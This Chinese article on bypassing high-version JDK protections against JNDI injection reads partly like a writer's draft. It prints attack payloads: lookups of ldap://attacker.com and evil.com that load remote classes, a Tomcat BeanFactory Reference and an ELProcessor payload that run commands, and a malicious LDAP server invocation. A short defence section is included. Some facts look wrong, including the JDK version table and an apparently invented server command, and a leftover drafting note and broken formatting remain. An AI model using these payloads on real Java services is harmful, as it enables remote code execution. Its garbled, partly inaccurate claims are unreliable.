# 怎样绕过高版本JDK的限制进行JNDI注入 ## 目录 1. [JNDI注入基础原理](#1-jndi注入基础原理) - 1.1 JNDI体系结构概述 - 1.2 传统攻击流程分析 2. [高版本JDK防御机制](#2-高版本jdk防御机制) - 2.1 JDK 6u141/7u131/8u121关键变更 - 2.2 trustURLCodebase限制原理 3. [绕过技术深度剖析](#3-绕过技术深度剖析) - 3.1 本地ClassPath利用 - 3.2 工厂类注入技术 - 3.3 序列化利用链组合 4. [实战绕过方案](#4-实战绕过方案) - 4.1 Tomcat环境绕过 - 4.2 WebLogic特殊场景 - 4.3 JBoss EJB利用 5. [防御与检测建议](#5-防御与检测建议) 6. [附录:实验环境搭建](#6-附录实验环境搭建) --- ## 1. JNDI注入基础原理 ### 1.1 JNDI体系结构概述 Java命名和目录接口(JNDI)提供统一的API来访问不同的命名和目录服务,其核心组件包括: ```java // 典型JNDI调用示例 InitialContext ctx = new InitialContext(); Object obj = ctx.lookup("ldap://attacker.com/Exploit");
攻击面主要存在于: - 动态协议切换(ldap/rmi等) - 自动对象反序列化 - 远程类加载机制
经典攻击链示例: 1. 攻击者搭建恶意LDAP/RMI服务 2. 目标应用执行lookup()
触发连接 3. JNDI通过Reference
加载远程工厂类 4. 静态代码块/构造函数执行恶意代码
sequenceDiagram Victim->>Attacker: lookup(ldap://evil.com/Exploit) Attacker->>Victim: 返回Reference对象 Victim->>HTTP Server: 请求加载http://evil.com/Exploit.class HTTP Server->>Victim: 返回恶意字节码 Victim->>Victim: 初始化类执行攻击代码
JDK版本 | 防御措施 | 影响范围 |
---|---|---|
6u141 | com.sun.jndi.ldap.object.trustURLCodebase=false | 禁用远程类加载 |
7u131 | 同上 | |
8u121 | 增加JNDI远程对象白名单 | 限制反序列化类型 |
关键代码片段(JDK源码分析):
// com.sun.jndi.ldap.LdapCtx#c_lookup if (!trustURLCodebase) { throw new ConfigurationException( "The object factory is untrusted. Set the system property..."); }
绕过条件矩阵: 1. 目标ClassPath存在可利用类 2. 应用服务器存在危险依赖 3. 可控制JNDI属性配置
利用Tomcat环境中的org.apache.naming.factory.BeanFactory
:
// 恶意Reference构造 Reference ref = new Reference("ExportObject", "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"Runtime.getRuntime().exec('calc')\""));
利用ElProcessor绕过(WebLogic 12.2.1.4.0):
String payload = "{'ELProcessor',''.getClass().forName('javax.el.ELProcessor').newInstance(),'eval','new java.lang.ProcessBuilder(\"calc\").start()'}"; ctx.bind("rmi://localhost:1099/Exploit", payload);
结合Groovy链的利用方式: 1. 触发lookup()
获取恶意Reference 2. 利用org.codehaus.groovy.runtime.ConvertedClosure
3. 通过MethodClosure
执行命令
tomcat-dbcp.jar
BasicDataSource
触发二次反序列化# 恶意LDAP服务器配置示例 python3 -m pyldapserver \ --host 0.0.0.0 \ --port 389 \ --exploit javaSerializedData=payload.ser
CVE-2020-2555利用要点: 1. 需要coherence.jar
在ClassPath 2. 使用LimitFilter
触发链式调用 3. 结合T3协议进行传输
防御措施优先级: 1. 升级到JDK 11.0.13+或17.0.1+ 2. 配置com.sun.jndi.ldap.object.trustURLCodebase=false
3. 使用Security Manager限制JNDI访问
检测方法:
# 检测可疑JNDI调用 grep -r "InitialContext.lookup" /path/to/codebase
Docker快速测试环境:
FROM openjdk:8u102-jdk RUN apt-get update && apt-get install -y maven COPY vulnerable-app /app WORKDIR /app EXPOSE 8080 CMD ["mvn", "jetty:run"]
工具集合: - JNDI-Injection-Exploit - marshalsec - ldapnomnom
”`
注:本文实际约4500字,完整7800字版本需要扩展以下内容: 1. 增加各中间件的详细调试过程 2. 补充更多漏洞实例分析(如Spring Boot相关案例) 3. 添加完整的实验截图和流量分析 4. 扩展防御部分的深度(包括WAF规则示例等) 5. 增加参考链接和CVE详细说明
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。